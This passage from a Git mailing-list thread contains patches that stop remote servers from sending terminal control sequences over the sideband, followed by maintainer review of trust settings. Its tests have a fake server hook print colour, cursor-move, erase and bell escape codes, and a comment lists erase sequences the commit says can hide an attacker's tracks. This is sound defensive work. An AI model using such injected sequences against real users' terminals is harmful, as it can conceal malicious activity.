+			src += i;
+			n -= i;
+		} else {
 			strbuf_addch(dest, '^');
 			strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
 		}
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index e8067df591..f34977b332 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '
 
 test_expect_success 'disallow (color) control sequences in sideband' '
 	write_script .git/color-me-surprised <<-\EOF &&
-	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
 	exec "$@"
 	EOF
 	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
+	test_grep RED decoded &&
+	test_grep "\\^G" stderr &&
+	tr -dc "\\007" <stderr >actual &&
+	test_must_be_empty actual &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters=false \
+		clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
 	test_grep ! RED decoded &&
+	test_grep "\\^G" stderr &&
 
 	rm -rf throw-away &&
 	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep RED decoded
+	test_grep RED decoded &&
+	tr -dc "\\007" <stderr >actual &&
+	test_file_not_empty actual
 '
 
 test_done
-- 
gitgitgadget

[PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

Even though control sequences that erase characters are quite juicy for
attack scenarios, where attackers are eager to hide traces of suspicious
activities, during the review of the side band sanitizing patch series
concerns were raised that there might be some legimitate scenarios where
Git server's `pre-receive` hooks use those sequences in a benign way.

Control sequences to move the cursor can likewise be used to hide tracks
by overwriting characters, and have been equally pointed out as having
legitimate users.

Let's add options to let users opt into passing through those ANSI
Escape sequences: `sideband.allowControlCharacters` now supports also
`cursor` and `erase`, and it parses the value as a comma-separated list.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config/sideband.txt   |  9 ++-
 sideband.c                          | 91 ++++++++++++++++++++++++-----
 t/t5409-colorize-remote-messages.sh | 38 ++++++++++++
 3 files changed, 123 insertions(+), 15 deletions(-)

diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
index e5b7383c7a..8eb7656cdd 100644
--- a/Documentation/config/sideband.txt
+++ b/Documentation/config/sideband.txt
@@ -2,13 +2,20 @@ sideband.allowControlCharacters::
 	By default, control characters that are delivered via the sideband
 	are masked, except ANSI color sequences. This prevents potentially
 	unwanted ANSI escape sequences from being sent to the terminal. Use
-	this config setting to override this behavior:
+	this config setting to override this behavior (the value can be
+	a comma-separated list of the following keywords):
 +
 --
 	default::
 	color::
 		Allow ANSI color sequences, line feeds and horizontal tabs,
 		but mask all other control characters. This is the default.
+	cursor::
+		Allow control sequences that move the cursor. This is
+		disabled by default.
+	erase::
+		Allow control sequences that erase charactrs. This is
+		disabled by default.
 	false::
 		Mask all control characters other than line feeds and
 		horizontal tabs.
diff --git a/sideband.c b/sideband.c
index fb43008ab7..725e24db0d 100644
--- a/sideband.c
+++ b/sideband.c
@@ -28,9 +28,43 @@ static struct keyword_entry keywords[] = {
 static enum {
 	ALLOW_NO_CONTROL_CHARACTERS = 0,
 	ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
+	ALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,
+	ALLOW_ANSI_ERASE = 1<<2,
 	ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
-	ALLOW_ALL_CONTROL_CHARACTERS = 1<<1,
-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+	ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,
+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
+
+static inline int skip_prefix_in_csv(const char *value, const char *prefix,
+				     const char **out)
+{
+	if (!skip_prefix(value, prefix, &value) ||
+	    (*value && *value != ','))
+		return 0;
+	*out = value + !!*value;
+	return 1;
+}
+
+static void parse_allow_control_characters(const char *value)
+{
+	allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
+	while (*value) {
+		if (skip_prefix_in_csv(value, "default", &value))
+			allow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;
+		else if (skip_prefix_in_csv(value, "color", &value))
+			allow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;
+		else if (skip_prefix_in_csv(value, "cursor", &value))
+			allow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;
+		else if (skip_prefix_in_csv(value, "erase", &value))
+			allow_control_characters |= ALLOW_ANSI_ERASE;
+		else if (skip_prefix_in_csv(value, "true", &value))
+			allow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;
+		else if (skip_prefix_in_csv(value, "false", &value))
+			allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
+		else
+			warning(_("unrecognized value for `sideband."
+				  "allowControlCharacters`: '%s'"), value);
+	}
+}
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
@@ -54,13 +88,8 @@ static int use_sideband_colors(void)
 		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
 					      &value))
 			; /* huh? `get_maybe_bool()` returned -1 */
-		else if (!strcmp(value, "default"))
-			allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
-		else if (!strcmp(value, "color"))
-			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
 		else
-			warning(_("unrecognized value for `sideband."
-				  "allowControlCharacters`: '%s'"), value);
+			parse_allow_control_characters(value);
 		break;
 	default:
 		break; /* not configured */
@@ -93,7 +122,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)
 {
 	int i;
 
@@ -105,14 +134,47 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int
 	 * These are part of the Select Graphic Rendition sequences which
 	 * contain more than just color sequences, for more details see
 	 * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.
+	 *
+	 * The cursor movement sequences are:
+	 *
+	 * ESC [ n A - Cursor up n lines (CUU)
+	 * ESC [ n B - Cursor down n lines (CUD)
+	 * ESC [ n C - Cursor forward n columns (CUF)
+	 * ESC [ n D - Cursor back n columns (CUB)
+	 * ESC [ n E - Cursor next line, beginning (CNL)
+	 * ESC [ n F - Cursor previous line, beginning (CPL)
+	 * ESC [ n G - Cursor to column n (CHA)
+	 * ESC [ n ; m H - Cursor position (row n, col m) (CUP)
+	 * ESC [ n ; m f - Same as H (HVP)
+	 *
+	 * The sequences to erase characters are:
+	 *
+	 *
+	 * ESC [ 0 J - Clear from cursor to end of screen (ED)
+	 * ESC [ 1 J - Clear from cursor to beginning of screen (ED)
+	 * ESC [ 2 J - Clear entire screen (ED)
+	 * ESC [ 3 J - Clear entire screen + scrollback (ED) - xterm extension
+	 * ESC [ 0 K - Clear from cursor to end of line (EL)
+	 * ESC [ 1 K - Clear from cursor to beginning of line (EL)
+	 * ESC [ 2 K - Clear entire line (EL)
+	 * ESC [ n M - Delete n lines (DL)
+	 * ESC [ n P - Delete n characters (DCH)
+	 * ESC [ n X - Erase n characters (ECH)
+	 *
+	 * For a comprehensive list of common ANSI Escape sequences, see
+	 * https://www.xfree86.org/current/ctlseqs.html
 	 */
 
-	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
-	    n < 3 || src[0] != '\x1b' || src[1] != '[')
+	if (n < 3 || src[0] != '\x1b' || src[1] != '[')
 		return 0;
 
 	for (i = 2; i < n; i++) {
-		if (src[i] == 'm') {
+		if (((allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES) &&
+		     src[i] == 'm') ||
+		    ((allow_control_characters & ALLOW_ANSI_CURSOR_MOVEMENTS) &&
+		     strchr("ABCDEFGHf", src[i])) ||
+		    ((allow_control_characters & ALLOW_ANSI_ERASE) &&
+		     strchr("JKMPX", src[i]))) {
 			strbuf_add(dest, src, i + 1);
 			return i;
 		}
@@ -127,7 +189,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
 	int i;
 
-	if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
+	if ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {
 		strbuf_add(dest, src, n);
 		return;
 	}
@@ -136,7 +198,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
 			strbuf_addch(dest, *src);
-		else if ((i = handle_ansi_color_sequence(dest, src, n))) {
+		else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&
+			 (i = handle_ansi_sequence(dest, src, n))) {
 			src += i;
 			n -= i;
 		} else {
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index f34977b332..c3e4e14362 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	test_file_not_empty actual
 '
 
+test_decode_csi() {
+	awk '{
+		while (match($0, /\033/) != 0) {
+			printf "%sCSI ", substr($0, 1, RSTART-1);
+			$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);
+		}
+		print
+	}'
+}
+
+test_expect_success 'control sequences in sideband allowed by default' '
+	write_script .git/color-me-surprised <<-\EOF &&
+	printf "error: \\033[31mcolor\\033[m\\033[Goverwrite\\033[Gerase\\033[K\\033?25l\\n" >&2
+	exec "$@"
+	EOF
+	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
+	test_commit need-at-least-one-commit-at-least &&
+
+	rm -rf throw-away &&
+	git clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >color-decoded &&
+	test_decode_csi <color-decoded >decoded &&
+	test_grep ! "CSI \\[K" decoded &&
+	test_grep ! "CSI \\[G" decoded &&
+	test_grep "\\^\\[?25l" decoded &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters=erase,cursor,color \
+		clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >color-decoded &&
+	test_decode_csi <color-decoded >decoded &&
+	test_grep "RED" decoded &&
+	test_grep "CSI \\[K" decoded &&
+	test_grep "CSI \\[G" decoded &&
+	test_grep ! "\\^\\[\\[K" decoded &&
+	test_grep ! "\\^\\[\\[G" decoded
+'
+
 test_done
-- 
gitgitgadget

Re: [PATCH v2 2/4] sideband: introduce an "escape hatch" to allow control characters

[Junio C Hamano]

"Johannes Schindelin via GitGitGadget" <gitgitgadget@gmail.com>
writes:

> diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
> new file mode 100644
> index 0000000000..3fb5045cd7
> --- /dev/null
> +++ b/Documentation/config/sideband.txt
> @@ -0,0 +1,5 @@
> +sideband.allowControlCharacters::
> +	By default, control characters that are delivered via the sideband
> +	are masked, to prevent potentially unwanted ANSI escape sequences
> +	from being sent to the terminal. Use this config setting to override
> +	this behavior.

Two thoughts.

 - Users may want to say "I trust this remote host" or "I trust this
   remote repository".  For that, something similar to what we do to
   `http.variable` to allow `http.<url>.variable` to take precedence
   over `http.variable` would be necessary.

 - It may no longer matter but a remote repository that may send
   messages as strings encoded in ISO/IEC 2022 would need to set
   this, merely to make the messages human-readable.  There may be
   other reasons the trusted repositories want to send "escape
   sequences".

It might even be a good idea to make the default setting of this
variable "allow", except for the initial connections to repositories
(i.e., "git clone $URL", and "git fetch/ls-remote $URL" with an
explicit $URL without using a nickname recorded in our .git/config),
as visiting a potentially malicious remote repository you are not
familiar with may not be uncommon, and users may deserve protection
over inconvenience.

But once the user establishes a working relationship with a remote
repository, would it be a lot more common to trust the contents
there than be on the lookout that the repository may spew bad
strings of bytes at your standard error stream, I have to wonder.

Re: [PATCH v2 2/4] sideband: introduce an "escape hatch" to allow control characters

[Johannes Schindelin]

Hi Junio,

On Thu, 18 Dec 2025, Junio C Hamano wrote:

> "Johannes Schindelin via GitGitGadget" <gitgitgadget@gmail.com>
> writes:
> 
> > diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
> > new file mode 100644
> > index 0000000000..3fb5045cd7
> > --- /dev/null
> > +++ b/Documentation/config/sideband.txt
> > @@ -0,0 +1,5 @@
> > +sideband.allowControlCharacters::
> > +	By default, control characters that are delivered via the sideband
> > +	are masked, to prevent potentially unwanted ANSI escape sequences
> > +	from being sent to the terminal. Use this config setting to override
> > +	this behavior.
> 
> Two thoughts.
> 
>  - Users may want to say "I trust this remote host" or "I trust this
>    remote repository".  For that, something similar to what we do to
>    `http.variable` to allow `http.<url>.variable` to take precedence
>    over `http.variable` would be necessary.

Good idea! What do you think about something like this?

-- snip --
diff --git a/http.c b/http.c
index d59e59f66b1..14b5a95586c 100644
--- a/http.c
+++ b/http.c
@@ -19,6 +19,7 @@
 #include "string-list.h"
 #include "object-file.h"
 #include "object-store-ll.h"
+#include "sideband.h"
 
 static struct trace_key trace_curl = TRACE_KEY_INIT(CURL);
 static int trace_curl_data = 1;
@@ -566,6 +567,9 @@ static int http_options(const char *var, const char *value,
 		return 0;
 	}
 
+	if (!strcmp("http.sanitizesideband", var))
+		return sideband_allow_control_characters_config(var, value);
+
 	/* Fall back on the default ones */
 	return git_default_config(var, value, ctx, data);
 }
diff --git a/sideband.c b/sideband.c
index 725e24db0db..178c1320cac 100644
--- a/sideband.c
+++ b/sideband.c
@@ -26,13 +26,14 @@ static struct keyword_entry keywords[] = {
 };
 
 static enum {
+	ALLOW_CONTROL_SEQUENCES_UNSET = -1,
 	ALLOW_NO_CONTROL_CHARACTERS = 0,
 	ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
 	ALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,
 	ALLOW_ANSI_ERASE = 1<<2,
 	ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
 	ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,
-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;
 
 static inline int skip_prefix_in_csv(const char *value, const char *prefix,
 				     const char **out)
@@ -44,8 +45,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,
 	return 1;
 }
 
-static void parse_allow_control_characters(const char *value)
+int sideband_allow_control_characters_config(const char *var, const char *value)
 {
+	switch (git_parse_maybe_bool(value)) {
+	case 0:
+		allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
+		return 0;
+	case 1:
+		allow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;
+		return 0;
+	default:
+		break;
+	}
+
 	allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
 	while (*value) {
 		if (skip_prefix_in_csv(value, "default", &value))
@@ -61,9 +73,9 @@ static void parse_allow_control_characters(const char *value)
 		else if (skip_prefix_in_csv(value, "false", &value))
 			allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
 		else
-			warning(_("unrecognized value for `sideband."
-				  "allowControlCharacters`: '%s'"), value);
+			warning(_("unrecognized value for '%s': '%s'"), var, value);
 	}
+	return 0;
 }
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
@@ -79,20 +91,12 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
-	switch (git_config_get_maybe_bool("sideband.allowcontrolcharacters", &i)) {
-	case 0: /* Boolean value */
-		allow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :
-			ALLOW_NO_CONTROL_CHARACTERS;
-		break;
-	case -1: /* non-Boolean value */
-		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
-					      &value))
-			; /* huh? `get_maybe_bool()` returned -1 */
-		else
-			parse_allow_control_characters(value);
-		break;
-	default:
-		break; /* not configured */
+	if (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {
+		if (!git_config_get_value("sideband.allowcontrolcharacters", &value))
+			sideband_allow_control_characters_config("sideband.allowcontrolcharacters", value);
+
+		if (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)
+			allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
 	}
 
 	if (!git_config_get_string_tmp(key, &value))
diff --git a/sideband.h b/sideband.h
index 5a25331be55..e711ad0f4e0 100644
--- a/sideband.h
+++ b/sideband.h
@@ -30,4 +30,11 @@ int demultiplex_sideband(const char *me, int status,
 
 void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);
 
+/*
+ * Parse and set the sideband allow control characters configuration.
+ * The var parameter should be the key name (without section prefix).
+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.
+ */
+int sideband_allow_control_characters_config(const char *var, const char *value);
+
 #endif
-- snap --

If this is the direction you're thinking, I'll polish it and integrate it
into v3.

>  - It may no longer matter but a remote repository that may send
>    messages as strings encoded in ISO/IEC 2022 would need to set
>    this, merely to make the messages human-readable.  There may be
>    other reasons the trusted repositories want to send "escape
>    sequences".

If the remote side has no way to determine whether the client side is
connected to a terminal or not (which we have already established in this
thread), it has even less chance to determine which character encoding is
in use...

> It might even be a good idea to make the default setting of this
> variable "allow", except for the initial connections to repositories
> (i.e., "git clone $URL", and "git fetch/ls-remote $URL" with an
> explicit $URL without using a nickname recorded in our .git/config),
> as visiting a potentially malicious remote repository you are not
> familiar with may not be uncommon, and users may deserve protection
> over inconvenience.
> 
> But once the user establishes a working relationship with a remote
> repository, would it be a lot more common to trust the contents
> there than be on the lookout that the repository may spew bad
> strings of bytes at your standard error stream, I have to wonder.

I am not so sure whether that would be desirable, for (at least :-) ) two
reasons:

- `git fetch` with an explicit URL is sometimes used outside clone
  scenarios, and in some clone-type scenarios, `git clone` cannot be used
  (e.g. to establish credentials or to determine the appropriate sparse
  checkout based on information from the tip revision).

  I know that it is a delicate balance to strike between convenience and
  security. Yet I also know that users prefer easy-to-explain mental
  models and this logic would be a bit hard to explain: Why disallow
  something while cloning or fetching with an explicit URL while allowing
  the very same thing in a subsequent fetch?

  tl;dr I expect users to be much more okay with the strategy to disallow
  all but very few ANSI sequences by default, with a message that tells
  them what to do if they want to enable more (or all) control sequences.

- I do not see how the user can inspect what the remote side does, even
  after an initial clone. Therefore users would not have any reasonable
  chance to gain any confidence that the remote side isn't doing anything
  malicious. To the contrary, remote servers could specifically "behave"
  during a clone, and launch the attack only during a fetch (indicated by
  "have" lines in the request).

  tl;dr remote servers don't get more trustworthy just by successfully
  serving clones.

Does that reasoning make sense to you?

Ciao,
Johannes

Re: [PATCH v2 2/4] sideband: introduce an "escape hatch" to allow control characters

[Junio C Hamano]

Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:

> Good idea! What do you think about something like this?

It may be easier to hack up to piggyback on the http.*.variable
infrastructure, but I do not like the smell of it very much, because
the implementation ties it too tightly to the http transport; I
think this should live in one layer up (transport?).

> If this is the direction you're thinking, I'll polish it and integrate it
> into v3.

In other words, it would be more like sideband.allowEscapeSequences
that is overridden by sideband.<url>.allowEscapeSequences was what I
had in mind.  Or even transfer.allowEscapeSequencesInSideband that
is overridden by transfer.<url>.allowEscapeSequencesInSideband.

>>  - It may no longer matter but a remote repository that may send
>>    messages as strings encoded in ISO/IEC 2022 would need to set
>>    this, merely to make the messages human-readable.  There may be
>>    other reasons the trusted repositories want to send "escape
>>    sequences".
>
> If the remote side has no way to determine whether the client side is
> connected to a terminal or not (which we have already established in this
> thread), it has even less chance to determine which character encoding is
> in use...

Then I think you need to re-read brian's

  https://lore.kernel.org/git/aS-D5lD2Kk6BHNIl@fruit.crustytoothpaste.net/

In any case, I do not think ISO/IEC 2022 matters as much as it used
to back when the reencode_string_iconv() was written (which was the
topic of another thread regarding the broken iconv on macOS wrt
2022).  But even if we limit ourselves to UTF-8, brian's point that
applications do assume certain characteristics on its clients and
implements unportable stuff.  A project targetting developers and/or
users from certain locale may use their own hooks that assumes the
clients understands strings in certain language in certain encoding.

And to serve these projects better, classes like "pass colors",
"pass cursor movements", might help than just "pass everything" vs
"deny everything", but we probably want to try to keep it as simple
as possible; trying to make it finer grained with extra complexity
would only make our efforts look like whack-a-mole X-<.

>> It might even be a good idea to make the default setting of this
>> variable "allow", except for the initial connections to repositories
>> (i.e., "git clone $URL", and "git fetch/ls-remote $URL" with an
>> explicit $URL without using a nickname recorded in our .git/config),
>> as visiting a potentially malicious remote repository you are not
>> familiar with may not be uncommon, and users may deserve protection
>> over inconvenience.
>> 
>> But once the user establishes a working relationship with a remote
>> repository, would it be a lot more common to trust the contents
>> there than be on the lookout that the repository may spew bad
>> strings of bytes at your standard error stream, I have to wonder.

>   tl;dr remote servers don't get more trustworthy just by successfully
>   serving clones.

The "successfully serving clone" has nothing to do with the reason
why I suggested to deny by default in "clone" and anything that gets
$URL not remote nickname.  I am roughly equating the fact that the
user cloned *and* *then* continues to interact with the project that
is served from that remote repository (hence using the remote
nickname) with the willingness by the user to trust that particular
remote repository.